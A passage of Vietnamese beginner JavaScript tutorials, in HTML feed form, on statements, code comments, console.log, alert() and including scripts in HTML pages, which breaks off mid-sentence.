<p>Luôn luôn sử dụng dấu chấm phẩy để kết thúc một câu lệnh.</p> </blockquote> <h2 id="chú-thích-code-trong-javascript" style="position:relative;"><a href="#ch%C3%BA-th%C3%ADch-code-trong-javascript" aria-label="chú thích code trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chú thích code trong JavaScript</h2> <p>Theo thời gian, chương trình sẽ phức tạp dần lên. Số lượng câu lệnh JavaScript cũng sẽ tăng lên theo. Có nhiều câu lệnh mà khi xem lại, bạn sẽ không hiểu tại sao mình viết code như vậy.</p> <p>Để tránh tình trạng này xảy ra, bạn nên viết lại chú thích (comment).</p> <p>Có hai kiểu viết chú thích là:</p> <ul> <li>Chú thích một dòng: sử dụng <code>//</code></li> <li>Chú thích nhiều dòng: sử dụng <code>/* */</code></li> </ul> <p>Ví dụ chú thích một dòng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Đây là chú chích trên 1 dòng</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"World"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Đây cũng là chú thích 1 dòng nhưng ở cuối câu lệnh</span> <span class="token comment">// Tạm thời bỏ qua câu lệnh sau đây</span> <span class="token comment">//alert("Hello world");</span></code></pre></div> <p>Ví dụ chú thích trên nhiều dòng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">/* Đây là chú thích trên nhiều dòng */</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"World"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* Đây cũng là chú thích nhiều dòng nhưng ở cuối câu lệnh */</span> <span class="token comment">/** * Tạm thời bỏ qua câu lệnh sau đây * alert("Hello world"); * /</span></code></pre></div> <p>Khi chạy chương trình, <a href="/javascript-la-gi/#javascript-engine-l%C3%A0-g%C3%AC">JavaScript engine</a> sẽ bỏ qua thành phần chú thích này.</p> <blockquote> <p>📝 Có nhiều quan điểm về việc có nên viết chú thích hay không. Theo suy nghĩ cá nhân, mình sẽ chỉ viết chú thích khi cần thiết.</p> <p>Một vài trường hợp mình viết chú thích:</p> <ul> <li>Việc đặt tên biến không diễn tả được hết ý nghĩa của nó (muốn đầy đủ ý nghĩa thì nó lại quá dài).</li> <li>Sử một công thức đã được chứng minh (nếu không chú thích lại sẽ không biết công thức đó ở đâu ra).</li> <li>Giải thích ý nghĩa của một hàm (tại sao lại phải viết hàm này...).</li> <li>Tạm thời bỏ qua một vài đoạn code chưa dùng tới.</li> <li>Và nhiều trường hợp khác nữa...</li> </ul> <p><em>Có một số khái niệm mới ở đây, mình sẽ trình bày ở các bài viết sau.</em></p> </blockquote> <p>Dĩ nhiên, bạn cũng đừng sợ việc viết nhiều chú thích sẽ làm cho trang web nặng lên. Vì hiện giờ đã có rất nhiều công cụ hỗ trợ <strong>bỏ hết chú thích</strong> khi triển khai trang web ở môi trường thực tế.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <ul> <li>Câu lệnh là đơn vị cơ bản xây dựng nên chương trình.</li> <li>Các câu lệnh trong JavaScript thường được ngăn cách nhau bởi dấu chấm phẩy.</li> <li>Bạn có thể bỏ qua dấu chấm phẩy khi viết các câu lệnh JavaScript trên nhiều dòng. Tuy nhiên, tốt nhất là <strong>nên sử dụng dấu chấm phẩy</strong> để tránh bị lỗi không mong muốn.</li> <li>Bạn cũng nên viết chú thích cho code khi cần thiết. Chú thích giúp bạn hoặc đồng nghiệp hiểu rõ hơn ý nghĩa của các câu lệnh, đoạn code trong chương trình.</li> </ul>[email protected]<![CDATA[Chương trình JavaScript đầu tiên]]><![CDATA[Trong những bài viết trước, bạn đã biết các kiến thức tổng quan về JavaScript rồi. Hôm nay, mình sẽ bắt đầu viết chương trình JavaScript đầu tiên. Trường hợp bạn chưa đọc qua thì…]]>https://completejavascript.com/chuong-trinh-javascript-dau-tien/https://completejavascript.com/chuong-trinh-javascript-dau-tien/Thu, 27 Apr 2017 20:00:00 GMT<p>Trong những bài viết trước, bạn đã biết các kiến thức tổng quan về JavaScript rồi. Hôm nay, mình sẽ bắt đầu viết chương trình JavaScript đầu tiên.</p> <blockquote> <p>Trường hợp bạn chưa đọc qua thì đây là những kiến thức tổng quan:</p> <ul> <li><a href="/javascript-la-gi/">JavaScript là gì?</a></li> <li><a href="/ide-la-gi/">IDE là gì?</a></li> <li><a href="/dev-tools-la-gi/">Dev Tools là gì?</a></li> </ul> </blockquote> <h2 id="hello-world-javascript-console" style="position:relative;"><a href="#hello-world-javascript-console" aria-label="hello world javascript console permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hello World JavaScript Console</h2> <p>Cách đơn giản nhất để viết và chạy chương trình JavaScript đầu tiên là sử dụng tiện ích <strong>console</strong> của Dev Tools trên trình duyệt.</p> <blockquote> <p>Tùy thuộc vào trình duyệt bạn đang sử dụng, bạn có thể nhấn <strong>F12</strong> hoặc tổ hợp phím <strong>Ctrl Shift I</strong> (Windows) hoặc <strong>Ctrl Opt J</strong> (macOS),...</p> </blockquote> <p>Sau đó, bạn chọn tab <strong>console</strong> rồi gõ lệnh sau: <code>console.log("JavaScript Helloworld")</code>. Tiếp theo, bạn nhấn <strong>Enter</strong> (để viết nhiều dòng code, bạn nhấn tổ hợp <strong>Shift Enter</strong>).</p> <p>Bạn sẽ thấy kết quả hiển thị:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 59.3939393939394%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABoElEQVQoz4WR3W7TQBCF/Wp2coVLkQhRHgSJB2lfgpcAIUXqRUUQDSlq2qT+2dhtvPHa683G3t+p7AQQUgLfxUqj2TNzjsYZjUaDweBdx9nZa9/3z8/fDIfDQctb33/V7/c9z3Nd1/O8Xq/XvW3puq4znU5ns1mMUBzHURQHQUBywjlnjHHO8zxfLBb3LfMwDB8fl+EqmQdJmiRRFDl5npOCbDnfMlZVFWNMKQ2/0FqXZYkQyjKcpunT0zOlrGK8EbIRwoHTWGv3eiHEZkPWGW73kLKuxa4WUirHdgBARekGY0ppRUtWsWa3248wxvC6RUnZ/bS/pzvWwk4aAECr5HpyM/t5d3f/8LAMlnEKAFKD1kYIcdSaow3cZmYcqzGyX2L4geH7Gq5TO0bmCukrpBullTwhbp1YY62VSu/9t1mtAau1aRtdZnlcvOU8w7gsiyzDqyQNY5SkKcZ4nWVFURBCaEWVUsfFf1WqAVFxRoX8s8qY05kPVwH4eCsvJ/JioubEcmlZcwjxL7E9nBQuv4oPn+v3n+pvz7pWlgn4r/gFyUCIcfhtmg4AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Kết quả hello world javascript console" title="Kết quả hello world javascript console" src="/static/4615d4d156c8bf5911418655b9bf28d5/7c811/chuong-trinh-javascript-dau-tien-console-demo.png" srcset="/static/4615d4d156c8bf5911418655b9bf28d5/103f2/chuong-trinh-javascript-dau-tien-console-demo.png 165w, /static/4615d4d156c8bf5911418655b9bf28d5/748ba/chuong-trinh-javascript-dau-tien-console-demo.png 330w, /static/4615d4d156c8bf5911418655b9bf28d5/7c811/chuong-trinh-javascript-dau-tien-console-demo.png 660w, /static/4615d4d156c8bf5911418655b9bf28d5/9d517/chuong-trinh-javascript-dau-tien-console-demo.png 910w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><strong>Console.log là gì?</strong></p> <p>Console.log trong JavaScript là một hàm được sử dụng để in ra bất kể thứ gì (với trình duyệt thì nơi hiển thị kết quả đó là tab console của Dev Tools).</p> <blockquote> <p>Trong các bài viết sau, mình chủ yếu dùng hàm <a href="/thu-thuat-su-dung-console-hieu-qua/">console.log()</a> để in ra kết quả của biến, phép tính, đoạn chương trình,...</p> </blockquote> <p>Bạn sẽ không cần phải cài đặt thêm bất cứ phần mềm nào khác. Bạn chỉ cần mở trình duyệt, vừa đọc hướng dẫn và thực hành trên tab console của Dev Tools.</p> <p>Sau khi bạn đã nắm hết kiến thức cơ bản về ngôn ngữ JavaScript, mình sẽ bắt đầu học về trình duyệt, <a href="/tag/html/">HTML</a>, và cách JavaScript giao tiếp với HTML,...</p> <h2 id="chương-trình-javascript-đầu-tiên-với-html" style="position:relative;"><a href="#ch%C6%B0%C6%A1ng-tr%C3%ACnh-javascript-%C4%91%E1%BA%A7u-ti%C3%AAn-v%E1%BB%9Bi-html" aria-label="chương trình javascript đầu tiên với html permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chương trình JavaScript đầu tiên với HTML</h2> <p>Để viết chương trình JavaScript đầu tiên với HTML, bạn nên cài đặt một IDE (code editor) để viết code dễ dàng hơn. Dĩ nhiên, bạn có thể dùng Notepad / Notepad++. Nhưng về lâu dài, bạn nên chọn editor chuyên dụng cho lập trình web (JavaScript).</p> <blockquote> <p>💡 Mình gợi ý bạn sử dụng <a href="https://code.visualstudio.com/">Visual Studio Code</a>. Vì nó miễn phí, hỗ trợ đa nền tảng Windows, macOS, Linux, và có nhiều extension hỗ trợ code nhanh hơn, tốt hơn.</p> <p>Ngoài ra, mình cũng đang sử dụng Visual Studio Code. Do đó, nếu bạn gặp khó khăn liên quan đến code editor thì mình sẽ dễ dàng hỗ trợ hơn.</p> </blockquote> <p>Để tích hợp JavaScript vào HTML bạn cần sử dụng thẻ <code>&#x3C;script></code>. Ví dụ, bạn tạo file <strong>helloworld-console.html</strong> với nội dung như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">helloworld-console.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span> <span class="token attr-name">lang</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>vi<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span>Đây là trước thẻ script<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello World JavaScript Console"</span><span class="token punctuation">)</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span>Đây là sau thẻ script<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre></div> <p>Sau đó, bạn mở file trên bằng trình duyệt, rồi mở tab console trên Dev Tools sẽ thấy kết quả:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 47.878787878787875%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA5klEQVQoz+WOzWqEMBhFfZ8uxY1oJjF96SKKglEI4vQlXNjMYCJj1Px8U9pCaTfTB+jh7u49cIM0TeM4JoQglEZRlCRJGIYZIZRmNCP4dEIIPWcZwZhSSgmhBBOMnz4J2rZljHVdxxjjnA/D0Pf9eRg+8nrmnJdlWVUVY6yuK9Z2L0XdNE2e50VRBFrr9Xbbt13rDQDuv1nXdZompZQQQkq5Hea6mu9RoJSSSs7zvCwLAPgfAIDWmxDibZrGcRRCXC8XNc9KquMw1trg/hDvYT+Msxa8d84566xzxpivj3/K/kH7H+V3pg0WK290X7UAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Kết quả demo javascript với HTML" title="Kết quả demo javascript với HTML" src="/static/4299cf6abc584327c477fdbb88000cc5/7c811/chuong-trinh-javascript-dau-tien-html-demo-1.png" srcset="/static/4299cf6abc584327c477fdbb88000cc5/103f2/chuong-trinh-javascript-dau-tien-html-demo-1.png 165w, /static/4299cf6abc584327c477fdbb88000cc5/748ba/chuong-trinh-javascript-dau-tien-html-demo-1.png 330w, /static/4299cf6abc584327c477fdbb88000cc5/7c811/chuong-trinh-javascript-dau-tien-html-demo-1.png 660w, /static/4299cf6abc584327c477fdbb88000cc5/93714/chuong-trinh-javascript-dau-tien-html-demo-1.png 777w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="thẻ-script-là-gì" style="position:relative;"><a href="#th%E1%BA%BB-script-l%C3%A0-g%C3%AC" aria-label="thẻ script là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thẻ <code>&#x3C;script></code> là gì?</h3> <p>Thẻ <code>&#x3C;script></code> trong HTML là nơi chứa code JavaScript. Code JavaScript được thực thi ngay sau khi trình duyệt tiến hành xử lý đoạn code này.</p> <p>Thẻ <code>&#x3C;script></code> có thể đặt ở bất kỳ đâu trên trang HTML. Ví dụ trên mình đặt thẻ <code>&#x3C;script></code> ở trong thẻ <code>&#x3C;body></code>. Nhưng bạn cũng có thể đặt nó ở trong thẻ <code>&#x3C;head</code>> như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">helloworld-console.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span> <span class="token attr-name">lang</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>vi<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello World JavaScript Console"</span><span class="token punctuation">)</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span>Đây là trong body<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre></div> <blockquote> <p>Tạm thời bạn không cần quan tâm đến các thẻ HTML, vì mình đang tập trung chủ yếu vào JavaScript.</p> </blockquote> <p>Ngoài việc sử dụng <code>console.log()</code> ra, bạn có thể sử dụng hàm <code>alert()</code>. Hàm <code>alert()</code> sẽ không in kết quả ra tab console mà hiển thị dạng hộp thoại (dialog).</p> <p>Khi đó, bạn có thể sửa lại đoạn code trên như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">helloworld-alert.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span> <span class="token attr-name">lang</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>vi<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span>Đây là trước thẻ script<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"Hello World JavaScript Console"</span><span class="token punctuation">)</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span>Đây là sau thẻ script<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre></div> <p>Bạn mở lại hoặc refresh trang web trên sẽ thấy kết quả:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 41.21212121212122%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAyElEQVQY043PTW6DMBCGYe7KkgRX/PcqOUAu0k2URQ7RKhVtx3jGLnZwwamwRGFBaZ/9O58mSJMkz9I0S6JdFO/3jLEHxlgcV1WZZXlRlo9etZAXZZoXYRgGd885xzkHAOAgVfsuPqWk1+tVCHFfMwyDUiroPWtt0wgpJSK2WiPRzTNe13XjgM965w5ncbzwVsl5eXnYGINEckJE6BFiI/Dw9Hw8vdyMnuMf4/m+B4C6rt/WaPzQBNZ+rS9vc9MLv8buL1vxf3wDcMiyzNIthKkAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Kết quả demo hàm alert() trong HTML" title="Kết quả demo hàm alert() trong HTML" src="/static/1c5f1ac7b565dc5034a68c647500d255/7c811/chuong-trinh-javascript-dau-tien-html-demo-2.png" srcset="/static/1c5f1ac7b565dc5034a68c647500d255/103f2/chuong-trinh-javascript-dau-tien-html-demo-2.png 165w, /static/1c5f1ac7b565dc5034a68c647500d255/748ba/chuong-trinh-javascript-dau-tien-html-demo-2.png 330w, /static/1c5f1ac7b565dc5034a68c647500d255/7c811/chuong-trinh-javascript-dau-tien-html-demo-2.png 660w, /static/1c5f1ac7b565dc5034a68c647500d255/d28e0/chuong-trinh-javascript-dau-tien-html-demo-2.png 990w, /static/1c5f1ac7b565dc5034a68c647500d255/08990/chuong-trinh-javascript-dau-tien-html-demo-2.png 1010w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="viết-code-javascript-ở-file-riêng-biệt" style="position:relative;"><a href="#vi%E1%BA%BFt-code-javascript-%E1%BB%9F-file-ri%C3%AAng-bi%E1%BB%87t" aria-label="viết code javascript ở file riêng biệt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Viết code JavaScript ở file riêng biệt</h3> <p>Đối với trang web thực tế, bạn thường sẽ có rất nhiều code JavaScript. Lúc này, bạn nên viết code JavaScript ra các file riêng biệt để dễ dàng quản lý logic code.</p> <p>Để tích hợp file code JavaScript vào HTML, bạn cần sử dụng thuộc tính <strong>src</strong> của thẻ <code>&#x3C;script></code>, ví dụ:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/path/to/script.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p>Ở đây, <code>/path/to/script.js</code> là đường dẫn tuyệt đối tính từ gốc của trang web (thư mục chứa file .html trên). Ngoài ra, bạn cũng có thể cung cấp đường dẫn tương đối đến file, ví dụ:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>script.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p>Lúc này, file <code>script.js</code> được hiểu là đặt cùng thư mục với file HTML của trang web.</p> <p>Ngoài ra, bạn cũng có thể truyền vào một URL đầy đủ, ví dụ:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://code.jquery.com/jquery-3.6.0.min.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p>Để thêm nhiều file code JavaScript vào HTML, bạn sử dụng nhiều thẻ script như sau:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/path/to/script1.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/path/to/script2.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <blockquote> <p>📝 <strong>Chú ý</strong>: việc tách code JavaScript ra các file riêng biệt, ngoài việc giúp dễ dàng quản lý code ra thì nó còn giúp trình duyệt <a href="https://vi.wikipedia.org/wiki/Web_caching">cache</a> lại nội dung các file đó.</p> <p>Các trang web khác nhau sử dụng chung file JavaScript sẽ lấy nội dung từ cache của trình duyệt, thay vì tải lại file. Nói cách khác, các file JavaScript thường chỉ cần tải về một lần.</p> <p>Điều này giúp tăng tốc độ tải trang web từ lần thứ hai.</p> </blockquote> <h3 id="một-lưu-ý-khi-sử-dụng-thẻ-script" style="position:relative;"><a href="#m%E1%BB%99t-l%C6%B0u-%C3%BD-khi-s%E1%BB%AD-d%E1%BB%A5ng-th%E1%BA%BB-script" aria-label="một lưu ý khi sử dụng thẻ script permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một lưu ý khi sử dụng thẻ <code>&#x3C;script></code></h3> <p>Một thẻ <code>&#x3C;script></code> không thể chứa cả thuộc tính <strong>src</strong> và code JavaScript bên trong nó. Nếu điều đó xảy ra thì code 